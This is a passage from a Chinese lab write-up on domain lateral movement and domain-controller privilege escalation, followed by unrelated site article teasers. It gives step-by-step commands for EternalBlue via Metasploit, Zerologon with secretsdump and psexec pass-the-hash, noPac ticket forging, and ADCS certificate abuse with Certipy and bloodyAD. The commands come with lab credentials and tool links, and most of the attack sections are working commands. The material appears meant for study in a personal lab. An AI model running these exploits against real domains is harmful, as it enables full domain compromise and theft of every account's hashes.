133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝

除了前面讲到的口令密码进行横向移动,还存在使用系统漏洞进行的横向移动的方式,本节课就是讲一些域内系统的漏洞,主要是域控提权的一些漏洞

1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)

2、横向移动-域控提权-CVE-2014-6324

3、横向移动-域控提权-CVE-2020-1472(重点)

4、 横向移动-域控提权-CVE-2021-42287(重点)

5、横向移动-域控提权-CVE-2022-26923(重点)

1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)

非常经典的系统漏洞,我第一次接触网络安全就是复现的这个漏洞

影响版本:

Windows 7 8.1 10; Windows Server 2008 2012 2016

随着新系统初始状态已经打上了补丁,漏洞利用将会越来越局限

复现:

使用cs联动msf

在云服务器上分别启动一个cs服务端和msf

先上传个木马上线cs再提权一下,我这里是提升至system权限

首先创建一个新的监听器,这里选择这个外部的http或者HTTPS都可以,ip地址填msf启动的IP地址,端口任意只要不冲突

然后msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 8088 (和前面设置的监听器保持一致)

run

然后点击新建会话选择msf,或者会话交互输入 spawn msf (监听器的名字)

确实cs4.5好像不可以。。。

换了4.7可以了,和前面一样的步骤

为什么要联动cs和msf因为cs的插件只支持漏洞的检测不支持漏洞的利用

run autoroute -p //查看当前路由表

run post/multi/manage/autoroute //添加当前路由表再查看当前路由表

确认了网段后就使用msf自带的漏洞扫描工具扫描一下

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.3.21-32 //设置扫描目标段

set threads 5 //设置扫描线程数

run

加号就是存在漏洞,我这里的环境没有检测出漏洞。。。我记得之前我的虚拟机是有漏洞的奇怪。。。

利用msf17-010攻击(注意payload是正向还是反向,内网的可能不出网所以需要用正向连接的payload)

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp //正向连接上线

set rhost 192.168.3.25 //设置连接目标 #set rhosts 192.168.3.21-32 //设置扫描范围,批量检测与利用

run

成功了就会返回会话,看视频好像会失败可以多尝试几次

2、横向移动-域控提权-CVE-2014-6324

又名ms16-068 属于ptt攻击的利用

复现:看我之前的那个130那天的文章使用了这个。

3、横向移动-域控提权-CVE-2020-1472(重点)

复现:

漏洞背景

        未经身份验证的攻击者只需要能访问域控的135端口即可通过NetLogon远程协议连接域控并重置域控机器账户的hash,从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域

漏洞原理

        NetLogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭据的情况下通过认证。通过认证后,调用NetLogon协议中RPC函数NetrServerpasswordSet2来重置域控机器账户的Hash,进而接管全域

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows

Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core

installation) Windows Server 2012 Windows Server 2012 (Server Core

installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server

Core installation) Windows Server 2016 Windows Server 2016 (Server

Core installation) Windows Server 2019 Windows Server 2019 (Server

Core installation) Windows Server, version 1903 (Server Core

installation) Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

检测工具

http://github.com/WiIs0n/Zerologon_CVE-2020-1472

安装一下依赖包,然后使用方式很简单,指定一下机器名和ip地址,就可以检测出是否存在漏洞,不过在做代理的方式进行检测的时候会因为网络问题可能检测不出来。我就是一开始挂的代理检测检测不出来,然后直接将kali放到和靶机同一网段去检测就检测出来了

攻击工具

https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py 域控名 域控ip

这一步是讲目标域控主机中的密码清空

接下来使用impacket下的secretdump.py去获取域控机器的hash,这里我的kali升级了一下库的版本才可以使用

secretdump.py是之前在github上面下的

python3 secretsdump.py niganma.hhh/DC$@172.16.3.3 -no-pass

可以看到跑出了好多账号的hash值,有了hash就好办了,直接pth攻击

选择用域管理员的后一个hash进行,可以看到成功反弹回了shell

python psexec.py niganma.hhh/Administrator@172.16.3.3 -hashes :前面获取的域管理员hash

顺便了解一下netlogon

Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

Netlogon远程协议是一个可用的在Windows域控制器上的RPC(remote procedure call protocol,远程过程调用协议,允许像调用本地服务一样调用远程服务)接口,用于对域中的用户和其他服务进行身份验证,最常见的是方便用户使用NTLM(NTLAN Manager,问询/应答身份验证协议,telnet的一种验证身份方式)登录服务器协议,让计算机更新其域内的密码。其他机器与域控的Netlogon通讯使用RPC协议MS-NRPC(指定了Netlogon远程协议,基于域的网络上的用户和计算机进行身份验证)。

Netlogon协议不会使用与其他RPC服务相同的身份验证方案,而是使用自定义的加密协议,让客户端(加入域的计算机)和服务器(域管理员)互相证明它们都知道共享的机密(客户端计算机的哈希值密码)。

还有还原密码的步骤

python3 secretsdump.py niganma.hhh/administrator@172.16.3.3 -hashes :42e2656ec24331269f82160ff5962387 -no-pass

然后使用cve-2020-1472-exploit.py同一个文件下的这个恢复密码的py文件

参考文章

https://zhuanlan.wangan.com/p/1068

https://www.cnblogs.com/herbmint/p/13849135.html

https://zhuanlan.zhihu.com/p/494034459

4、 横向移动-域控提权-CVE-2021-42287(重点)

前提条件:一个域内的普通账号

影响版本:Windows基本全系列(未打补丁)

复现:

漏洞利用前提条件:知道一个普通用户的账号和密码

影响版本:Windows全版本

用的自己的虚拟机搭建的环境,一台Windowsserver2012 12-demo作为web出网,同样一台winser2102 DC 作为域控

先上线12-demo提权至adminitrator 然后做一下代理转发,本地也做一下代理实现本机可以访问内网。然后使用工具

https://github.com/cube0x0/noPac

此工具需要先编译一下,用vs studio就可以。

另外这里需要修改一下hosts文件,下面有些使用域名代替不修改跑到公网上面去找目标了。。。

然后可以先检测一下有没有漏洞

noPac scan -domain niganma.hhh -user user2 -pass QWEasd456

出现这个就意味着有漏洞

看一下票据信息。此时是没有建立任何链接的

此时尝试连接也是无效的(这个pstool是微软官方的工具包可以去官网下载)

noPac -domain niganma.hhh -user user2 -pass QWEasd456 /dc DC.niganma.hhh /mAccount abcd /mPassword aBcd!@# /service cifs /ptt

这个时候在查看klist

然后用psexec连接成功反弹shell

使用python脚本工具复现

https://github.com/WazeHell/sam-the-admin

我没有成功但是网上的文章,用的22年的kali成功了

python3 sam_the_admin.py niganma/'user2:QWEasd456' -dc-ip 172.16.3.3 -shell

可能是版本问题。。。

感觉这个漏洞很强大,知道一个普通用户就可以拿下权限666

有两种工具可以使用一个是https://github.com/cube0x0/noPac

和 https://github.com/WazeHell/sam-the-admin

一个是c的exe工具一个是python的脚本,前面复现使用的是exe版本进行的

5、横向移动-域控提权-CVE-2022-26923(重点)

又名ADCS攻击

复现:

项目地址:https://github.com/ly4k/Certipy

Certipy是一款基于Python开发的强大工具,该工具可以帮助广大研究人员枚举并利用活动目录证书服务(AD CS)中的错误配置项。

‘’概述

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

影响

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

前提条件

一个域内普通用户的账号和密码

域内存在证书服务器

因为我的域控是没有开启这个服务的,先开启一下,同时拍个快照,因为这个实验会把里面的全部账号删除好像是

具体安装我也不知道对不对,反正选择这个服务一直下一步安装完,然后我还点击了那个配置,也是安装他的一直点下去

然后测试有没有开启

certutil -config - -ping

跳出这个就是成功了

然后记录一下前面的这些域内信息

172.16.3.3

user2 QWEasd456

niganma-DC-CA

DC.niganma.hhh

使用kali作为攻击机,修改一下/etc/hosts文件

把下载的工具Certipy-main先搞一下

python3 .\setup.py install

pip3 install certipy-ad

1、申请低权限用户证书

certipy req 'niganma.hhh/user2:QWEasd456@DC.niganma.hhh' -ca niganma-DC-CA -template User -debug

certipy req '172.16.3.3/user2:QWEasd456@user3winser2012@DC.niganma.hhh' -target-ip 172.16.3.3 -ca niganma-DC-CA -template User -debug

certipy req -username user2@niganma.hhh -password QWEasd456 -ca niganma-DC-CA -target DC.niganma.hhh -template User

我这里最后用了最后这个语句成功了,我看了下语句不一样是因为这个certipy的版本不同导致的,我这里是4.8.2

检测票据信息

certipy auth -pfx user2.pfx -dc-ip 172.16.3.3

配置bloodyAD

地址:GitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation Framework

pip3 install -r requirements.txt

安装的时候我遇到了很多问题,无论如何先更新

sudo apt-get update

sudo apt-get upgrade

如果再次尝试还有问题,主要是一个krb5的问题导致

apt-get install libkrb5-dev

如果重式还有问题

sudo apt-get install binutils

再重启系统再尝试

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

python3 bloodyAD.py -d niganma.hhh -u user2 -p QWEasd456 --host 172.16.3.3 get object "DC=niganma,DC=hhh"

慢慢玩明白这个脚本了,get 后面的参数改变了,根据报错提示看要输入的参数变成了什么

创建一个test66密码为jntm的机器账户

python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' add computer test11 'niganma'

使用伪造的机器账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有

python3 bloodyAD.py -d 'niganma.hhh' -u 'user2' -p 'QWEasd456' --host '172.16.3.3' setAttribute 'CN=test11,CN=Computers,DC=niganma,DC=hhh' DNSHOSTName '["DC.niganma.hhh"]'

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

废了,这个作者修改了脚本,但是没有修改wiki。。。这参数怎么填的。。。

看了半天源码也没搞出来这个参数怎填的。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/406811.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java之迭代器的使用

Java之迭代器的使用 摘要基础知识List迭代器Map迭代器 摘要 本博客主要讲解容器的迭代器的使用,包括List、Set和Map等容器 基础知识 这是类的继承关系图 迭代器的原理(一开始迭代器并不指向任何有效元素): List迭代器 public class TestIterator …

World of Warcraft [CLASSIC] the Eye of Eternity [EOE] P1-P2

World of Warcraft [CLASSIC] the Eye of Eternity [EOE] 永恒之眼(蓝龙) 第一阶段 第二阶段 第三阶段 载具1-6技能介绍 World of Warcraft [CLASSIC] the Eye of Eternity [EOE]_永恒之眼 eoe-CSDN博客 永恒之眼怎么出副本呢,战斗结束&am…

【Java】/* 链式队列 和 循环队列 - 底层实现 */

一、链式队列 1. 使用双向链表实现队列,可以采用尾入,头出 也可以采用 头入、尾出 (LinkedList采用尾入、头出) 2. 下面代码实现的是尾入、头出: package bageight;/*** Created with IntelliJ IDEA.* Description:* User: tangyuxiu* Date: …

windows安装android studio

下载 https://developer.android.google.cn/studio?hlzh-cn 安装 打开cmd输入如下命令 android-studio-2024.1.1.12-windows.exe /NCRC 注意 运行命令后可能还报错,但是会出现弹窗 如果还是报错可以选择zip 运行 不设置代理 等待下载即可,…

Linux云计算 |【第二阶段】SECURITY-DAY3

主要内容: Prometheus监控服务器、Prometheus被监控端、Grafana监控可视化 补充:Zabbix监控软件不自带LNMP和DB数据库,需要自行手动安装配置;Prometheus监控软件自带WEB页面和DB数据库;Prometheus数据库为时序数据库&…

Android 14适配

最近刚刚做了Android 14的适配(即targetSdkVersion 升级到 34 ),通过此博客整理下相关注意点。 前台服务类型 当targetSdkVersion > 34 ,应用内的前台服务(Foreground Service)需要指定至少一种前台服务…

k8s - Secret实践练习

参考文档:https://kubernetes.io/zh-cn/docs/concepts/configuration/secret/ 这个和ConfigMap很相似,这里选两个做下测试,就不过多赘述了 简介 Secret 类似于 ConfigMap 但专门用于保存机密数据。 Secret 是一种包含少量敏感信息例如密码…

qt creator自动运行单元测试

qt creator自动运行单元测试 工具-选项-Testing-General,找到Automatically run,选项卡选择All。

[C语言]-基础知识点梳理-编译、链接、预处理

前言 各位师傅大家好,我是qmx_07,今天来给大家讲解以下程序运行会经历哪些事情 翻译环境和运⾏环境 在ANSIC的任何⼀种实现中,存在两个不同的环境 第1种是翻译环境,在这个环境中源代码被转换为可执⾏的机器指令(⼆进制指令&a…

Linux下opencv报错 undefined reference to cv::imread cv::Mat

如果你是和libtorch一起使用,那么请你继续,否则该篇文章不适合你。 正文 在https://pytorch.org/下 下载的时候要选择Cxx11 ABI版 随后正常配置就可以了

Langchain-Chatchat

模型能力定制 微调 智能设备 微调 响应有要求 微调 动态数据 RAG 幻觉 RAG 可解释性 RAG 成本 RAG 依赖生成能力 微调 微调需要几万、几十万条好的数据,否者白调,所以是否需要微调,需要视情况而定。 RAG的落地,可以使用 https:/…

wangeditor编辑器自定义按钮和节点,上传word转换html,文本替换

vue3ts 需求:在编辑器插入图片和视频时下方会有一个输入框填写描述,上传word功能 wangeditor文档wangEditor开源 Web 富文本编辑器,开箱即用,配置简单https://www.wangeditor.com/ 安装:npm install wangeditor/edit…

Datawhale X 李宏毅苹果书 AI夏令营-深度学习入门班-task1

机器学习就是去拟合一种函数,它可能在高维上,十分抽象,但是却可以有丰富的语义含义,从而完成一系列任务 回归任务是预测一个准确的值,例如拟合一条直线的时候,我们希望每一个点的值都能对应上 分类任务则…

java多线程(六)关键字Volatile可见性、有序性以及单个变量的原子性

volatile关键字 作用 volatile 是 Java 虚拟机提供的轻量级的同步机制,主要用来确保变量被线程安全地读取和写入。 当一个变量定义为 volatile 后,它具备以下特性: 可见性:确保不同线程对这个变量操作的可见性,即一…

深入学习SQL优化的第三天

目录 聚合函数 排序和分组 聚合函数 1251. 平均售价 表:Prices------------------------ | Column Name | Type | ------------------------ | product_id | int | | start_date | date | | end_date | date | | price | int …

K8S - Java微服务配置 - 使用ConfigMap配置redis

参考文档&#xff1a;https://v1-27.docs.kubernetes.io/zh-cn/docs/tutorials/configuration/configure-redis-using-configmap/ cat <<EOF >./example-redis-config.yaml apiVersion: v1 kind: ConfigMap metadata:name: example-redis-config data:redis-config: …

“解决Windows电脑无法投影到其他屏幕的问题:尝试更新驱动程序或更换视频卡“

目录 背景: 解决方法1: 解决方法2: 什么是驱动程序&#xff1a; 背景: 今天在日常的工作中&#xff0c; 我想将笔记本分屏到另一个显示屏&#xff0c;我这电脑Windows10系统&#xff0c;当我按下Windows键P键&#xff0c;屏幕信息上提示我"你的电脑不能投影到其他屏幕…

C++:继承(protected、隐藏、不能被继承的类、)

目录 继承的概念 继承的使用 继承方式 protected 继承类模板 赋值兼容转换 隐藏 子类的默认成员函数 构造函数 拷贝构造函数 赋值重载函数 析构函数 不能被继承的类 方法1&#xff1a;父类的构造函数私有 方法2&#xff1a;final 继承与友元 继承与静态成员 …

Redis 键值型数据库

一、Redis是什么 Redis&#xff1a;REmote DIctionary Server&#xff08;远程字典服务器&#xff09; 是完全开源免费的&#xff0c;用C语言编写的&#xff0c;遵守BSD协议&#xff0c;是一个高性能的&#xff08;Key/Value&#xff09;分布式内存数据 库&#xff0c;基于内存…

tcp 和udp通信

一.recvfrom recvfrom函数是一个系统调用&#xff0c;用于从套接字接收数据。该函数通常与无连接的数据报服务&#xff08;如 UDP&#xff09;一起使用&#xff0c;但也可以与其他类型的套接字使用。与简单的 recv() 函数不同&#xff0c;recvfrom() 可以返回数据来源的地址信息…